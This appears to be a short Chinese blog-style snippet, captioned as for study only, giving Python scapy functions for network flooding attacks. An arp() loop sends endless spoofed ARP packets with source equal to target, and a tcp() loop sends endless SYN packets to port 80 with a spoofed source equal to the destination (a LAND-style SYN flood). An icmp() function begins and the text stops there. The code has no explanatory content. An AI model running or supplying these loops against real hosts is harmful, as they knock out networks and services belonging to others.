仅供学习参考,不要在真实环境使用
from scapy.layers.inet import IP, TCP,ICMP from scapy.sendrecv import sr1,send from scapy.layers.l2 import ARP,Ether import random,os,logging,base64,requests,threading from urllib import request from bs4 import BeautifulSoup from scapy.volatile import RandMAC
1.arp
def arp(): ip=input('请输入ip:') while True: logging.getLogger("scapy.runtime").setLevel(logging.ERROR) pkg=ARP(psrc=ip,pdst=ip) send(pkg,verbose=False)
2.tcp
def tcp(): ip = input('请输入ip:') while True: logging.getLogger("scapy.runtime").setLevel(logging.ERROR) sport = random.randint(10000, 30000) pkg = IP(src=ip,dst=ip) / TCP(sport=sport, dport=80, flags='S') send(pkg, verbose=False)
3.icmp
def icmp(): ip = input('请输入ip:')